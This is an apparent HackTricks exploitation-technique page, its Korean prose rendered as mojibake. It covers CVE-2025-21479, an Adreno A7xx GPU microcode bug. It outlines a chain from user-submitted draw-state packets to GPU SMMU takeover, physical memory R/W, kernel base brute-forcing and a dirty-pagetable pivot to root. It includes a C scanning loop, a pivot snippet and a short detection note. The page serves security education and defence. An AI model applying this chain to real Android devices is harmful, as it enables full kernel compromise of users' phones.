Adreno A7xx SDS->RB privilege bypass (GPU SMMU takeover to Kernel R/W)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ด ํ์ด์ง๋ ์ค์ ์์ ๋ฐ๊ฒฌ๋ Adreno A7xx ๋ง์ดํฌ๋ก์ฝ๋ ๋ ผ๋ฆฌ ๋ฒ๊ทธ(CVE-2025-21479)๋ฅผ ์ฌํ ๊ฐ๋ฅํ ์ต์คํ๋ก์ ๊ธฐ๋ฒ์ผ๋ก ์ถ์ํํฉ๋๋ค: Set Draw State(SDS)์์์ IB-๋ ๋ฒจ ๋ง์คํน์ ์ ์ฉํด ๊ถํ ์๋ ์ฑ์์ privileged GPU ํจํท์ ์คํํ๊ณ , GPU SMMU ์ฅ์ ์ผ๋ก ํผ๋ฒํ ๋ค dirty-pagetable trick์ ํตํด ๋น ๋ฅด๊ณ ์์ ์ ์ธ kernel R/W๋ก ์ด์ด์ง๋ ํ๋ฆ์ ๋๋ค.
- Affected: Qualcomm Adreno A7xx GPU firmware prior to a microcode fix that changed masking of register $12 from 0x3 to 0x7.
- Primitive: Execute privileged CP packets (e.g., CP_SMMU_TABLE_UPDATE) from SDS, which is user-controlled.
- Outcome: Arbitrary physical/virtual kernel memory R/W, SELinux disable, root.
- Prereq: Ability to create a KGSL GPU context and submit command buffers that enter SDS (normal app capability).
๋ฐฐ๊ฒฝ: IB ๋ ๋ฒจ, SDS ๋ฐ $12 ๋ง์คํฌ
- ์ปค๋์ ringbuffer (RB=IB0)๋ฅผ ์ ์งํฉ๋๋ค. ์ฌ์ฉ์ ๊ณต๊ฐ์ CP_INDIRECT_BUFFER๋ฅผ ํตํด IB1์ ์ ์ถํ๊ณ , IB2/IB3๋ก ์ฒด์ธํฉ๋๋ค.
- SDS๋ CP_SET_DRAW_STATE๋ฅผ ํตํด ์ง์ ํ๋ ํน์ ๋ช ๋ น ์คํธ๋ฆผ์ ๋๋ค:
- A6xx: SDS๋ IB3๋ก ์ทจ๊ธ๋ฉ๋๋ค
- A7xx: SDS๋ IB4๋ก ์ด๋ํ์ต๋๋ค
- ๋ง์ดํฌ๋ก์ฝ๋๋ ํ์ฌ IB ๋ ๋ฒจ์ ๋ ์ง์คํฐ $12์ ์ถ์ ํ๊ณ , ๊ถํ ์๋ ํจํท์ ๊ฒ์ดํธํ์ฌ ์ ํจํ ๋ ๋ฒจ์ด IB0(์ปค๋ RB)์ ํด๋นํ ๋๋ง ์๋ฝ๋๋๋ก ํฉ๋๋ค.
- ๋ฒ๊ทธ: A7xx ๋ง์ดํฌ๋ก์ฝ๋๋ $12์ 0x7(3๋นํธ) ๋์ 0x3(2๋นํธ)์ผ๋ก ๋ง์คํนํ ์ํ๋ฅผ ์ ์งํ์ต๋๋ค. IB4 & 0x3 == 0 ์ด๋ฏ๋ก SDS๊ฐ IB0์ผ๋ก ์๋ชป ์๋ณ๋์ด ์ฌ์ฉ์ ์ ์ด SDS์์ ๊ถํ ์๋ ํจํท์ด ํ์ฉ๋์์ต๋๋ค.
์ค์ํ ์ด์ :
A6XX | A7XX
RB & 3 == 0 | RB & 3 == 0
IB1 & 3 == 1 | IB1 & 3 == 1
IB2 & 3 == 2 | IB2 & 3 == 2
IB3 (SDS) & 3 == 3 | IB3 & 3 == 3
| IB4 (SDS) & 3 == 0 <-- misread as IB0 if mask is 0x3
Microcode diff ์์ (patch๊ฐ mask๋ฅผ 0x7๋ก ๋ณ๊ฒฝ๋จ):
@@ CP_SMMU_TABLE_UPDATE
- and $02, $12, 0x3
+ and $02, $12, 0x7
@@ CP_FIXED_STRIDE_DRAW_TABLE
- and $02, $12, 0x3
+ and $02, $12, 0x7
Exploitation ๊ฐ์
Goal: SDS (misread as IB0)์์ ํน๊ถ CP ํจํท์ ๋ฐํํ์ฌ GPU SMMU๋ฅผ ๊ณต๊ฒฉ์๊ฐ ๋ง๋ ํ์ด์ง ํ ์ด๋ธ๋ก ์ฌ์ง์ ํ ๋ค์, GPU copy/write ํจํท์ ์ด์ฉํด ์์์ ๋ฌผ๋ฆฌ์ R/W๋ฅผ ์ํ. ๋ง์ง๋ง์ผ๋ก dirty pagetable์ ํตํด ๋น ๋ฅธ CPU-์ธก R/W๋ก ์ ํ.
High-level chain
- ๊ณต์ ๋ฉ๋ชจ๋ฆฌ์ ๊ฐ์ง GPU pagetable์ ์์ฑ
- SDS๋ก ์ง์ ํ์ฌ ๋ค์์ ์คํ:
- CP_SMMU_TABLE_UPDATE -> ๊ฐ์ง pagetable๋ก ์ ํ
- CP_MEM_WRITE / CP_MEM_TO_MEM -> ์ฐ๊ธฐ/์ฝ๊ธฐ ํ๋ฆฌ๋ฏธํฐ๋ธ ๊ตฌํ
- CP_SET_DRAW_STATE with run-now flags (dispatch immediately)
GPU R/W primitives via fake pagetable
- Write: CP_MEM_WRITE๋ฅผ ๊ณต๊ฒฉ์๊ฐ ์ ํํ GPU VA๋ก ๋ณด๋ด๊ณ , ํด๋น PTE๋ค์ ์ ํํ PA์ ๋งคํํ๋ฉด -> ์์์ ๋ฌผ๋ฆฌ์ ์ฐ๊ธฐ
- Read: CP_MEM_TO_MEM๋ ๋์ PA์์ userspace-๊ณต์ ๋ฒํผ๋ก 4/8 ๋ฐ์ดํธ๋ฅผ ๋ณต์ฌํจ (๋ ํฐ ์ฝ๊ธฐ๋ ๋ฐฐ์น ์ฒ๋ฆฌ)
Notes
- ๊ฐ Android ํ๋ก์ธ์ค๋ KGSL context๋ฅผ ํ๋ ๋ฐ์ (IOCTL_KGSL_GPU_CONTEXT_CREATE). ์ปจํ ์คํธ ์ ํ์ ๋ณดํต RB์์ SMMU ํ ์ด๋ธ์ ์ ๋ฐ์ดํธํ์ง๋ง; ์ด ๋ฒ๊ทธ๋ SDS์์ ๊ทธ ์์ ์ ๊ฐ๋ฅํ๊ฒ ํจ.
- ๊ณผ๋ํ GPU ํธ๋ํฝ์ UI ๋ธ๋์์ ๋ฐ ์ฌ๋ถํ ์ ์ผ์ผํฌ ์ ์์; ์ฝ๊ธฐ๋ ์์(4/8B)์ด๊ณ ๋๊ธฐํ๋ ๊ธฐ๋ณธ์ ์ผ๋ก ๋๋ฆผ.
Building the SDS command sequence
- ๊ฐ์ง GPU ํ์ด์งํ ์ด๋ธ์ ๊ณต์ ๋ฉ๋ชจ๋ฆฌ์ ์คํ๋ ์ดํ์ฌ ์ ์ด๋ ํ๋์ ์ธ์คํด์ค๊ฐ ์๋ ค์ง ๋ฌผ๋ฆฌ ์ฃผ์์ ์์นํ๋๋ก ํจ(์: allocator grooming๊ณผ ๋ฐ๋ณต์ ํตํด).
- ์์๋๋ก ๋ค์์ ํฌํจํ๋ SDS ๋ฒํผ๋ฅผ ๊ตฌ์ฑ:
- CP_SMMU_TABLE_UPDATE๋ฅผ ๊ฐ์ง ํ์ด์งํ ์ด๋ธ์ ๋ฌผ๋ฆฌ ์ฃผ์๋ก
- ์๋ก์ด ๋งคํ์ ์ฌ์ฉํ์ฌ R/W๋ฅผ ๊ตฌํํ๊ธฐ ์ํ ํ๋ ์ด์์ CP_MEM_WRITE ๋ฐ/๋๋ CP_MEM_TO_MEM ํจํท
- ์ฆ์ ์คํ ํ๋๊ทธ๊ฐ ์ค์ ๋ CP_SET_DRAW_STATE
์ ํํ ํจํท ์ธ์ฝ๋ฉ์ ํ์จ์ด๋ง๋ค ๋ค๋ฆ; freedrenoโs afuc/packet docs๋ฅผ ์ฌ์ฉํด ์๋๋ฅผ ์กฐ๋ฆฝํ๊ณ , ๋๋ผ์ด๋ฒ๊ฐ SDS ์ ์ถ ๊ฒฝ๋ก๋ฅผ ์ฌ์ฉํ๋๋ก ํ๋ณดํ์ธ์.
Finding Samsung kernel physbase under physical KASLR
Samsung์ Snapdragon ์ฅ์น์์ ์๋ ค์ง ์์ญ ๋ด์์ ์ปค๋ ๋ฌผ๋ฆฌ ๋ฒ ์ด์ค๋ฅผ ๋๋คํํจ. ์์ ๋ฒ์๋ฅผ ๋ธ๋ฃจํธํฌ์คํ์ฌ _stext์ ์ฒซ 16๋ฐ์ดํธ๋ฅผ ์ฐพ์ผ์ธ์.
Representative loop
while (!ctx->kernel.pbase) {
offset += 0x8000;
uint64_t d1 = kernel_physread_u64(ctx, base + offset);
if (d1 != 0xd10203ffd503233f) continue; // first 8 bytes of _stext
uint64_t d2 = kernel_physread_u64(ctx, base + offset + 8);
if (d2 == 0x910083fda9027bfd) { // second 8 bytes of _stext
ctx->kernel.pbase = base + offset - 0x10000;
break;
}
}
physbase๊ฐ ์๋ ค์ง๋ฉด, ์ ํ ๋งต์ผ๋ก ์ปค๋ ๊ฐ์ ์ฃผ์๋ฅผ ๊ณ์ฐํ๋ค:
_stext = 0xffffffc008000000 + (Kernel Code & ~0xa8000000)
๋น ๋ฅด๊ณ ์์ ์ ์ธ CPU-side kernel R/W (dirty pagetable)๋ก ์์ ํ
GPU R/W๋ ๋๋ฆฌ๊ณ ์ธ๋ถ ๋จ์(granularity)๊ฐ ์์ต๋๋ค. ์์ ์ ํ๋ก์ธ์ค PTE๋ฅผ ์์์์ผ ๋น ๋ฅด๊ณ ์์ ์ ์ธ ํ๋ฆฌ๋ฏธํฐ๋ธ๋ก ์ ํํ์ธ์(โdirty pagetableโ):
Steps
- ๋๋ฆฐ GPU R/W ํ๋ฆฌ๋ฏธํฐ๋ธ๋ฅผ ์ฌ์ฉํด ํ์ฌ task_struct -> mm_struct -> mm_struct->pgd๋ฅผ ์ฐพ๋๋ค
- ์ธ์ ํ ์ฌ์ฉ์ ๊ณต๊ฐ ํ์ด์ง A์ B๋ฅผ mmapํ๋ค(์: 0x1000)
- PGD->PMD->PTE๋ฅผ ๋ฐ๋ผ A/B์ PTE ๋ฌผ๋ฆฌ ์ฃผ์๋ฅผ ํ์ธํ๋ค(ํฌํผ: get_pgd_offset, get_pmd_offset, get_pte_offset)
- B์ PTE๋ฅผ ๋ฎ์ด์จ์ A/B๋ฅผ ๊ด๋ฆฌํ๋ ์ตํ์ ๋ ๋ฒจ ํ์ด์งํ ์ด๋ธ์ RW ์์ฑ์ผ๋ก ๊ฐ๋ฆฌํค๊ฒ ํ๋ค(phys_to_readwrite_pte)
- B์ VA๋ก ์จ์ A์ PTE๋ฅผ ๋ณ๊ฒฝํด ๋ชฉํ PFN์ ๋งคํํ๊ฒ ํ ๋ค; A์ VA๋ก ์ปค๋ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ์ฝ๊ณ ์ฐ๋ฉฐ TLB๋ฅผ ํ๋ฌ์ํด ์ผํฐ๋ฌ์ด ๋ฐ๋ ๋๊น์ง ๋ฐ๋ณตํ๋ค
์์ dirty-pagetable pivot ์ค๋ํซ
```c uint64_t *map = mmap((void*)0x1000, PAGE_SIZE*2, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); uint64_t *page_map = (void*)((uint64_t)map + PAGE_SIZE); page_map[0] = 0x4242424242424242;uint64_t tsk = get_curr_task_struct(ctx); uint64_t mm = kernel_vread_u64(ctx, tsk + OFFSETOF_TASK_STRUCT_MM); uint64_t mm_pgd = kernel_vread_u64(ctx, mm + OFFSETOF_MM_PGD);
uint64_t pgd_off = get_pgd_offset((uint64_t)map); uint64_t phys_pmd = kernel_vread_u64(ctx, mm_pgd + pgd_off) & ~((1<<12)-1); uint64_t pmd_off = get_pmd_offset((uint64_t)map); uint64_t phys_pte = kernel_pread_u64(ctx, phys_pmd + pmd_off) & ~((1<<12)-1); uint64_t pte_off = get_pte_offset((uint64_t)map); uint64_t pte_addr = phys_pte + pte_off; uint64_t new_pte = phys_to_readwrite_pte(pte_addr); kernel_write_u64(ctx, pte_addr + 8, new_pte, false); while (page_map[0] == 0x4242424242424242) flush_tlb();
</details>
## ํ์ง
- Telemetry: RB/IB0 ๋ฐ, ํนํ SDS์์ CP_SMMU_TABLE_UPDATE (or similar privileged opcodes)์ด ๋ํ๋๋ฉด ๊ฒฝ๊ณ ; 4/8-byte CP_MEM_TO_MEM์ ๋น์ ์์ ๊ธ์ฆ๊ณผ ๊ณผ๋ํ TLB flush ํจํด์ ๋ชจ๋ํฐ๋ง
## ์ํฅ
๋ก์ปฌ ์ฑ์ด GPU ์ ๊ทผ ๊ถํ์ ๊ฐ์ง๋ฉด privileged GPU packets๋ฅผ ์คํํ๊ณ GPU SMMU๋ฅผ ํ์ทจํ์ฌ ์์์ ์ปค๋ ๋ฌผ๋ฆฌ/๊ฐ์ R/W๋ฅผ ๋ฌ์ฑํ๊ณ SELinux๋ฅผ ๋นํ์ฑํํ ๋ค ์ํฅ์ ๋ฐ๋ Snapdragon A7xx ์ฅ์น(e.g., Samsung S23)์์ ๋ฃจํธ ๊ถํ์ ํ๋ํ ์ ์์ต๋๋ค. ์ฌ๊ฐ๋: ๋์ (kernel compromise).
### ์ฐธ๊ณ
<a class="content_ref" href="pixel-bigwave-bigo-job-timeout-uaf-kernel-write.md"><span class="content_ref_label">Pixel Bigwave Bigo Job Timeout Uaf Kernel Write</span></a>
## References
- [CVE-2025-21479: Adreno A7xx SDS->RB privilege bypass to kernel R/W (Samsung S23)](https://xploitbengineer.github.io/CVE-2025-21479)
- [Mesa freedreno afuc disassembler README (microcode + packets)](https://gitlab.freedesktop.org/mesa/mesa/-/blob/c0f56fc64cad946d5c4fda509ef3056994c183d9/src/freedreno/afuc/README.rst)
- [Google Project Zero: Attacking Qualcomm Adreno GPU (SMMU takeover via CP packets)](https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html)
- [Dirty pagetable (archive)](https://web.archive.org/web/20240425043203/https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html)
> [!TIP]
> AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks ์ง์ํ๊ธฐ</summary>
>
> - [**๊ตฌ๋
๊ณํ**](https://github.com/sponsors/carlospolop) ํ์ธํ๊ธฐ!
> - **๐ฌ [**๋์ค์ฝ๋ ๊ทธ๋ฃน**](https://discord.gg/hRep4RUj7f) ๋๋ [**ํ
๋ ๊ทธ๋จ ๊ทธ๋ฃน**](https://t.me/peass)์ ์ฐธ์ฌํ๊ฑฐ๋ **ํธ์ํฐ** ๐ฆ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**๋ฅผ ํ๋ก์ฐํ์ธ์.**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks) ๋ฐ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.**
>
> </details>


